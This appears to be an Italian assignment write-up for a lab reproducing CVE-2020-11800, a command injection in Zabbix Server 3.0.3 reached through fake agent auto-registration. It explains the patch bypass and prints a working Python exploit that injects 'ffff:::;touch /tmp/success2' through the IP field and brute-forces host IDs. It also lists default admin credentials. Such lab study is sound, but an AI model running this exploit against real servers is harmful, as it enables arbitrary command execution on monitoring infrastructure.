
Exploit PoC per CVE-2020-11800, un'iniezione di comandi in Zabbix Server tramite l'auto-registrazione di un agente malintenzionato, con consegna del payload basata su Python e brute-forcing dell'ID host.
Le sezioni richieste dalle linee guida dell'assegnazione sono contrassegnate con “(Obbligatorio)”.
Questo ambiente utilizza un Dockerfile personalizzato basato sull'immagine vulnerabile di Zabbix Server fornita da Vulhub.
FROM vulhub/zabbix:3.0.3-server
Il Dockerfile crea un'immagine locale utilizzando l'ambiente vulnerabile di Zabbix 3.0.3 server. Non sono stati aggiunti pacchetti o configurazioni aggiuntive durante il processo di build.
L'ambiente vulnerabile è configurato utilizzando Docker Compose.
L'ambiente è composto da quattro servizi:
Il servizio server viene creato localmente utilizzando il Dockerfile:
server:
build: .
image: cve-2020-11800-server
Il container MySQL importa automaticamente i file di inizializzazione SQL dalla directory src/ tramite il montaggio dei volumi:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Questo consente di caricare automaticamente lo schema del database e i dati iniziali di Zabbix all'avvio del container.
L'ambiente opera utilizzando la seguente struttura:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Fornisce l'interfaccia di gestione web accessibile tramite browser.
L'amministratore configura la auto-registrazione ed esegue le operazioni relative al monitoraggio tramite questa interfaccia.
Il componente principale responsabile di:
La vulnerabilità di command injection viene attivata all'interno di questo container.
Agisce come host monitorato e comunica con lo Zabbix Server.
Lo exploit abusa del meccanismo di auto-registrazione durante il processo di registrazione dell'agente.
Memorizza i dati di configurazione di Zabbix, le informazioni sugli host e i dati relativi al monitoraggio.
| Servizio | Immagine | Versione |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
L'ambiente si basa sull'ambiente vulnerabile Zabbix 3.0.3 fornito da Vulhub.
CVE-2020-11800 è una vulnerabilità di command injection nella funzionalità Active Proxy Trapper di Zabbix Server.
La vulnerabilità esiste perché la patch per CVE-2017-2824 era incompleta. Un attaccante può bypassare la patch originale utilizzando un payload in stile IPv6 ed eseguire comandi arbitrari sullo Zabbix Server.
La vulnerabilità viene attivata durante il processo di auto-registrazione quando il server elabora informazioni sugli host controllate dall'utente.
La causa principale della vulnerabilità è la gestione non sicura dell'input controllato dall'utente all'interno dei comandi shell.
Durante l'esecuzione degli script, Zabbix Server utilizza il valore dell'IP dell'host registrato per costruire comandi come:
ping <host_ip>
In condizioni normali:
ping 127.0.0.1
Tuttavia, se un attaccante registra un host utilizzando il seguente payload:
ffff:::;touch /tmp/success2
il comando finale eseguito dalla shell diventa:
ping ffff:::;touch /tmp/success2
Poiché il punto e virgola (;) agisce come separatore di comandi della shell, la shell interpreta l'input come due comandi separati:
ping ffff:::
touch /tmp/success2
Di conseguenza, diventa possibile l'esecuzione di comandi arbitrari.
La patch originale per CVE-2017-2824 tentava di limitare i valori di input malevoli.
Tuttavia, la logica di validazione non gestiva correttamente gli input in stile IPv6.
Il payload:
ffff:::;touch /tmp/success2
utilizza un prefisso simile a IPv6 (ffff:::) per bypassare la logica di validazione esistente, iniettando comunque metacaratteri della shell.
Ciò consente agli attaccanti di bypassare la patch precedente e continuare a sfruttare la vulnerabilità di command injection.
Il processo di exploit avviene nel seguente ordine:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
L'attaccante invia prima una richiesta di auto-registrazione malevola contenente un campo IP appositamente modificato.
Dopo che l'host è stato registrato, lo Zabbix Server esegue uno script di monitoraggio utilizzando il valore dell'IP dell'host memorizzato.
Durante questo processo, il payload malevolo viene interpretato dalla shell, portando all'esecuzione di comandi arbitrari.
Lo exploit consente agli attaccanti di eseguire comandi arbitrari con i privilegi del processo Zabbix Server.
In questo ambiente, uno sfruttamento riuscito ha creato il seguente file all'interno del container del server:
/tmp/success2
Ciò conferma che i comandi shell iniettati sono stati eseguiti correttamente.
In un ambiente reale, uno sfruttamento riuscito potrebbe consentire agli attaccanti di:
La vulnerabilità è particolarmente pericolosa perché i server di monitoraggio hanno spesso visibilità su più sistemi interni e componenti dell'infrastruttura.
La Proof of Concept (PoC) è stata scritta in Python e comunica direttamente con lo Zabbix Server tramite la porta TCP 10051.
Il PoC esegue le seguenti azioni:
hostid validiimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
Il payload utilizzato in questo PoC è:
ffff:::;touch /tmp/success2
| Parte | Scopo |
|---|---|
ffff::: | Prefisso simile a IPv6 usato per il bypass della validazione |
; | Separatore di comandi della shell |
touch /tmp/success2 | Comando arbitrario eseguito sul server |
Il payload sfrutta il fatto che il server concatena in modo improprio i valori IP controllati dall'utente all'interno dei comandi shell.
Il payload viene consegnato tramite il campo ip durante il processo di auto-registrazione.
La prima richiesta inviata dal PoC tenta di registrare un host malevolo.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
Dopo la registrazione, il PoC tenta di individuare un hostid valido.
for i in range(10000, 10500):
Il PoC itera su un intervallo di possibili ID host e tenta di attivare l'esecuzione dello script.
Questo passaggio è necessario perché il server assegna dinamicamente gli ID host dopo la registrazione.
La seguente richiesta attiva l'esecuzione del comando:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| Parametro | Descrizione |
|---|---|
request | Richiede l'esecuzione dello script |
scriptid | ID dello script Zabbix configurato |
hostid | ID dell'host target |
In questo ambiente, scriptid:1 corrisponde a uno script correlato al ping che utilizza il valore IP dell'host durante l'esecuzione del comando.
Lo Zabbix Server costruisce internamente un comando shell simile a:
ping ffff:::;touch /tmp/success2
La shell lo interpreta come:
ping ffff:::
touch /tmp/success2
Di conseguenza:
touch iniettato viene eseguito correttamenteDurante uno sfruttamento riuscito, potrebbe apparire il seguente output:
ping: bad address 'ffff:::'
Ciò indica che il payload ha raggiunto la fase di esecuzione dei comandi shell.
Lo sfruttamento riuscito è confermato quando il seguente file esiste all'interno del container del server:
/tmp/success2
Il flusso completo dello exploit è riassunto di seguito:
Start Docker Environment
↓
Access Zabbix Web Interface
↓
Enable Auto Registration
↓
Run exploit.py
↓
Register Malicious Host
↓
Trigger Script Execution
↓
Command Injection
↓
Verify /tmp/success2
Avvia l'ambiente vulnerabile utilizzando Docker Compose.
docker compose up -d
Verifica che tutti i container siano in esecuzione correttamente.
docker compose ps
L'ambiente dovrebbe includere i seguenti container:
Apri il browser e accedi all'interfaccia web di Zabbix.
http://127.0.0.1:8080
Credenziali predefinite:
Username: admin
Password: zabbix
Lo exploit richiede che la funzione di auto-registrazione sia abilitata.
Naviga fino a:
Configuration → Actions
Cambia la Sorgente evento (Event Source) in:
Auto registration
Crea una nuova Action e configura la seguente operazione:
Operation Type: Add Host
Ciò consente di aggiungere automaticamente al server gli agent appena registrati.
Esegui lo script PoC.
python3 exploit.py 127.0.0.1
Il PoC invia una richiesta di auto-registrazione malevola e tenta di attivare l'esecuzione di comandi utilizzando più ID host.
Durante uno sfruttamento riuscito, potrebbe apparire un output simile al seguente:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
Ciò indica che il payload ha raggiunto il percorso vulnerabile di esecuzione dei comandi shell.
Accedi al container dello Zabbix Server.
docker exec -it cve-2020-11800-server-1 bash
Verifica se il comando iniettato ha creato il file target.
ls -l /tmp/success2
Uno sfruttamento riuscito produce un output simile a:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
Ciò conferma che i comandi arbitrari sono stati eseguiti correttamente all'interno del container dello Zabbix Server.
I seguenti screenshot sono inclusi nella directory screenshots/:

